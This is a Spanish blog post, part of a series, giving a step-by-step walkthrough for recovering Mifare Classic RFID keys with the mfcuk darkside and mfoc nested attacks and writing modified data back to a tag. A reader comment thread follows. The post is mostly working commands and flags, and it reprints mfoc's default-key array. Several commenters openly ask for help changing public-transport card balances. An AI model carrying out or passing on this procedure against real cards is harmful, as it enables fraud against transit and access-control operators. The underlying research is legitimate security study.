Hacking RFID, rompiendo la seguridad de Mifare (IV)

En este post vamos, por fin, a poder obtener las claves de un tag Mifare Classic para posteriormente leer el contenido, escribir… Para ello, partimos de la base que ya tenemos las librerías instaladas tal y como dijimos en el anterior post, y que detectamos el lector (si tenéis problemas con esto, decidlo en los comentarios).

Vamos ahora a instalar las herramientas que necesitaremos. La primera de ellas se llama mfcuk e implementa el ataque llamado “darkside” descrito en http://eprint.iacr.org/2009/137.pdf. Este ataque aprovecha la poca entropía que se utiliza en el cifrado Crypto-1 para obtener mediante fuerza bruta la clave de un sector.

svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk-read-only

(para la versión 1.3.4 de libnfc, 
svn checkout http://mfcuk.googlecode.com/svn/trunk/ mfcuk -r r37)

cd mfcuk-read-only
autoreconf -vis
./configure
make
sudo make install

Una vez instalado, lo ejecutamos con la orden:

mfcuk_keyrecovery_darkside -C -v 2 -R 3:A -M 8

-C     Para realizar la conexión
-v 2   Modo very verbose
-R 3:A Recuperar la clave A del sector 3
-M 8   Tipo de tag Mifare Classic 1K

Obtenemos el siguiente resultado:

Donde vemos que ha encontrado la clave A del sector 3. Este ataque, según los creadores dura unos 5 minutos, pero en mis pruebas no ha bajado de 20. Como veis, obtener las 30 claves (en el caso que sean todas diferentes) nos podría llevar demasiado tiempo. Ahora vamos a utilizar el programa mfoc para obtener todas las demás claves. Mfoc utiliza el llamado “Nested-Authentication attack” que se basa en el conocimiento de una clave para atacar a los sectores restantes. Su instalación es la siguiente:

wget http://micmd.googlecode.com/files/mfoc-new.tar
cd mfoc
autoreconf -vis
./configure
make 
sudo make install

Para usar la clave que hemos obtenido anteriormente hay que volver a compilar el archivo mfoc.c que está en ./mfoc/src/mfoc.c y buscar el vector de claves por defecto:

imagen1

Solo hay que añadir la clave siguiendo el mismo patrón. Luego hacemos un:

gcc mfoc.c -o mfoc

y ya lo tenemos a punto.

La ejecución del programa, yo la he hecho de la siguiente forma:

mfoc -P 100 -O salida.mdf

-P 100     Reintentos
-O         Archivo de salida

Veremos algo como esto:

Esta parte todavía no es el ataque; aquí mfoc está comprobando si las claves que tiene por defecto funcionan con algún sector. Primero hace una pasada probando las claves A. Como se deduce, la clave a884…. es la clave A del sector 0. Después de esto, empezará el ataque donde irá obteniendo las claves una a una. En el caso de que las obtenga todas en las 100 repeticiones, hará el volcado del tag en el archivo salida.mdf. Sí no, yo recomiendo apuntar las claves e ir introduciéndolas en el archivo mfoc.c.

Por último, una vez tengamos todas las claves podemos crearnos con un editor hexadecimal un archivo llamado keys.mdf. Este archivo lo podemos crear a partir del salida.mdf poniendo todo a ceros excepto los sectores tráiler de cada bloque. Con este archivo keys.mdf ya podemos operar con el tag con las funciones de la librería libnfc:

nfc-mfclassic w a contenido_nuevo.mdf keys.mdf

w                       Escritura
a                       Clave A
contenido_nuevo.mdf     Archivo de entrada
keys.mdf                Archivo con las claves

Con esta última orden hemos escrito un tag Mifare Classic con un contenido modificado, con lo que termina esta entrada y de momento (por mi parte) las entradas sobre seguridad en Mifare Classic. Si algún lector intenta llevar a cabo lo aquí explicado y tiene problemas, estaré encantado de ayudarle en los comentarios.

Comments

  1. Muy buena entrada David, ¡felicidades!. Espero con ganas la próxima entrada ;). Ahora me voy a coger el metro :P.

  2. no lo pongais tan facil!!!no !! es un error !!!

  3. esas keys se de dnd son perfectamente !!!

  4. aqui una pista……..http://twitter.com/Securityartwork

  5. dudux, toda la información aquí mostrada puede ser obtenida de diferentes recursos de Internet. No estamos hablando de un 0-day ni ninguna técnica de ataque oculta.

  6. Hola ante todo ,disculpas por la intrusion tan descarada… xD

    Estoy totalmente de acuerdo,que no es nada oculto ni ningun 0day,hubiera sido mas interesante esa info que esta,lo que si se que no hay howtos para que cualquiera pueda comprometer todo un nuevo sistema instaraudo en «tu» ciudad,de entidades gubernamentales y tan cotidianas como son estas…… Si mifare 1k classic está roto desde hace años,y casi te diria que DesFire tambien,pero lo bueno es que no se publica a todos los vientos que soplan..

    No me voy a enrollar,veo que cualquiera puede «destruir» estas bases,se que es muy facil,lo se de hace tiempo,pero no será de mi boca pregonarlo.Para que «párasitos» se aprovechen de mis investigaciones.

    Un saludo,atentamente

  7. Hola,

    En estos posts se habla de la tarjeta Mifare que está ampliamente utilizada pero no se hace mención a otras tarjetas como las ATMEL con cryptorf…

    Parece ser que pocas tarjetas se salvan de al quema….

  8. Cuando compilo mfcuk me da error, no entiendo porqhttp://paste2.org/p/1009703

  9. Perdon, se me corto el comentario. Decia que no entiendo el error ya que puedo detectar el reader y la tarjeta conectada.

  10. Alguien me puede ayudar ? Este es el log de compilación: http://paste2.org/p/1009703

  11. Tengo un problema, no me detecta el lector…no se si es que no tengo bien instalados los drivers para el lector USB…

  12. root@repsaj-latitude:~/mfcuk/mfcuk-read-only# make
    make all-recursive
    make[1]: Entering directory `/root/mfcuk/mfcuk-read-only’
    Making all in src
    make[2]: Entering directory `/root/mfcuk/mfcuk-read-only/src’
    CC crapto1.o
    CC crypto1.o
    CC mfcuk_finger.o
    CC mfcuk_keyrecovery_darkside.o
    mfcuk_keyrecovery_darkside.c: In function ‘mfcuk_darkside_select_tag’:
    mfcuk_keyrecovery_darkside.c:894: error: ‘NM_ISO14443A_106’ undeclared (first use in this function)
    mfcuk_keyrecovery_darkside.c:894: error: (Each undeclared identifier is reported only once
    mfcuk_keyrecovery_darkside.c:894: error: for each function it appears in.)
    mfcuk_keyrecovery_darkside.c:894: warning: passing argument 5 of ‘nfc_initiator_select_passive_target’ from incompatible pointer type
    /usr/local/include/nfc/nfc.h:71: note: expected ‘struct nfc_target_t *’ but argument is of type ‘union nfc_target_info_t *’
    mfcuk_keyrecovery_darkside.c: In function ‘main’:
    mfcuk_keyrecovery_darkside.c:1639: error: ‘NM_ISO14443A_106’ undeclared (first use in this function)
    mfcuk_keyrecovery_darkside.c:1639: warning: passing argument 5 of ‘nfc_initiator_select_passive_target’ from incompatible pointer type
    /usr/local/include/nfc/nfc.h:71: note: expected ‘struct nfc_target_t *’ but argument is of type ‘union nfc_target_info_t *’
    mfcuk_keyrecovery_darkside.c:988: warning: ignoring return value of ‘system’, declared with attribute warn_unused_result
    make[2]: *** [mfcuk_keyrecovery_darkside.o] Error 1
    make[2]: Leaving directory `/root/mfcuk/mfcuk-read-only/src’
    make[1]: *** [all-recursive] Error 1
    make[1]: Leaving directory `/root/mfcuk/mfcuk-read-only’
    make: *** [all] Error 2

    I downloaded mfcuk. I did ‘cd mfcuk-read-only’, ‘autoreconf -vis’ and ‘./configure’. Now as you see the command ‘make’ doesn’t work.

  13. I’m sorry RepsaJ, we don’t offer technical support. I’m sure there are some discussion forums that can provide you with help on this subject.

    Thanks.

  14. Tambien tengo el mismo problema que RepsaJ, he intentado tambien con mfoc pero me da un error tambien relacionado con las sentencias que incluyen NM_14443A_106. Tengo la ultima version de libnfc pero he visto que en nfc-types.h no se llama NM_14443A_106 sino NMT_14443A. Al cambiarlo sale de nuevo el mismo error. Deberia tener otra version mas antigua de libnfc?

  15. I also had the same compilation problem than RepsaJ, I was using libnfc-1.4.0 , I did came back to 1.3.9 and it worked.

  16. Thanks Ivan!!!I’ve almost gone crazy with this!

  17. Estoy intentando hacer pruebas con mi lector Touchatag, va todo bien pero al apagar el ordenador se ve que me ha dejado instalado el driver antiguo y tengo el lector en un estado bloqueado, necesitaria poder eliminarlo. ¿Alguien se ha visto en la misma situación?

  18. En vez de utilizar mfcuk y mfoc, no serviria mejor el programa RFdump, Si no es asi me podrias explicar la diferencia? y cual seria el mejor metodo para realizar el ataque ?

  19. en google code solo aparece los reader de los codigos pero no para poder bajar el MFCUK como archivo comprimido, he visto que la mayoria de post son sobre el problema del mfcuk, sera que ud nos puede ayudar a publicar en un servidor gratuito el programa comprimido (tar.gz o zip o cualquiera ) porfavor

  20. hola qusiera saber si sirve unicamente el touchatag o puede servir este Modulo Rfid Lector-escritor Mifare Iso14443 13.56 Mhz Modulo RFID Lector-Escritor Mifare ISO14443 13.56 MHz

    Modulo nuevo para evaluación, demostración y desarrollo de aplicaciones en RFID mediante estándar ISO14443 Mifare

    Marca: ACG

    Características:
    -Frecuencia Transmisión 13.56 MHz
    -Lectura y Escritura normas estándar: ISO14443A
    -Distancia de Lectura / Escritura hasta 8 cm
    -Antena integrada interna
    -Conexión RS232 y RS422
    -Velocidad de Comunicación variable entre 9,600 a 57,600 baudios
    -Salida para LED de prendido / apagado
    -Salida para LED TX/RX
    -Reducido tamaño 7 cm X 12 cm
    -Alimentación 5 VDC, 150 mA.
    -Incluye software demostrativo y protocolos para desarrollar aplicaciones.

  21. Hola, se puede hacer algo parecido a esto con el Samsung Galaxy S?

  22. hola ya he instalado todo me que dificil donde le meto la clve al mfoc en q linea y como se donde le cambio los numeros me podrian ayudar gracias .ubuntu 11.04

  23. // Array with default Mifare Classic keys
    byte_t defaultKeys[][6] = {
    {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // User defined key slot
    {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, // Default key (first key used by program if no user defined key)
    {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, // NFCForum MAD key
    {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, // NFCForum content key
    {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Blank key
    {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5},
    {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd},
    {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a},
    {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff},
    {0x71, 0x4c, 0x5c, 0x88, 0x6e, 0x97},
    {0x58, 0x7e, 0xe5, 0xf9, 0x35, 0x0f},
    {0xa0, 0x47, 0x8c, 0xc3, 0x90, 0x91},
    {0x53, 0x3c, 0xb6, 0xc7, 0x23, 0xf6},
    {0x8f, 0xd0, 0xa4, 0xf2, 0x56, 0xe9}

    };esto es lo q aparece en mfoc dende le meto la clave

  24. la clave qa es la misma en los 15 sectores es una tarjeta de transporte publico ,nesesito ayuda para cargar tickets gracias

  25. Error al hacer make del mfcuk tengo la ultima version del libnfc 1.5.0 y la ultima de mfcuk la revision 49 y nada…
    root@lab:/home/codename/Descargas/mfcuk-read-only2# make && make install
    make all-recursive
    make[1]: se ingresa al directorio «/home/codename/Descargas/mfcuk-read-only2»
    Making all in src
    make[2]: se ingresa al directorio «/home/codename/Descargas/mfcuk-read-only2/src»
    CC nfc-utils.o
    nfc-utils.c: In function ‘parse_device_desc’:
    nfc-utils.c:213:13: error: ‘nfc_device_desc_t’ has no member named ‘pcPort’
    nfc-utils.c:214:20: error: ‘nfc_device_desc_t’ has no member named ‘pcPort’
    make[2]: *** [nfc-utils.o] Error 1
    make[2]: se sale del directorio «/home/codename/Descargas/mfcuk-read-only2/src»
    make[1]: *** [all-recursive] Error 1
    make[1]: se sale del directorio «/home/codename/Descargas/mfcuk-read-only2»
    make: *** [all] Error 2
    root@lab:/home/codename/Descargas/mfcuk-read-only2#

  26. hola, al instalar el mfcuk me da el sigiente error:

    svn: El servidor envió un valor de devolución inesperado (400 Bad request. Method Unknown) en respuesta al requerimiento REPORT para «/svn/!svn/vcc/defau

    Gracias..

  27. estava intentando usar meo galaxy s4 sera que e possibel usarlo para desencriptar cartão mifare

  28. Hola, quisiera saber si este metodo funciona con las mifare 4k ?

  29. Buenas, me gustaria compartir mi experiencia con vosotros. Me compre este lector y estuve haciendo pruebas con varias versiones de la nfclib, mfcuk y mfoc, y logre sacar las claves de una tarjeta que tenia. Usando el mfcuk primero y el mfoc depsues y todo perfecto, pero le pedi a un amigo una tarjeta similiar que el tiene y resulta que el mfcuk se puede tirar dias si quiere con la tarjeta y no resuelve nada, los datos de ns y auth siempre son los mismos. Por otro lado el mfoc me encuentra 5 sectores con claves por defecto pero no logra tampoco sacar nunguna clave oculta aunque pase mucho tiempo. Sabeis algo al respecto, hay tarjetas 1k 50 incrakeables ? es raro, por que en el mismo entorno me funciona con una tarjeta y la otra no, siendo las dos tarjetas de la misma empresa y utilidad.

  30. Hola, esta muy bueno, bueno mi intención con esto es modificar el saldo de transporte publico de una tarjeta mifare classic 1k, he mirado muchos comentarios de que les presenta errores, espero que me salga todo bien, la verdad no entiendo muy bien el procedimento, no se ni donde va el codigo, pero bueno no me voy a rendir, aun no he comprado el lector, voy a comprar el acr122u que aparece en ebay y pues aun tengo que esperar como 2 dias para vincular mi tarjeta credito y hacer el pago por paypal… luego de como 2 semanas para que me llegue desde hong kong…. Quisiera contar con toda su colaboracion para que este proyecto marche bien… Gracias… comentare nuevamente cuando tenga el acr122u en mis manos… bye…

  31. Hola, mi correo es: eduarxj32@live.com ya tengo el lector/escritor acr122 pero no entiendo que hacer, gracas, me podrias colaborar por favor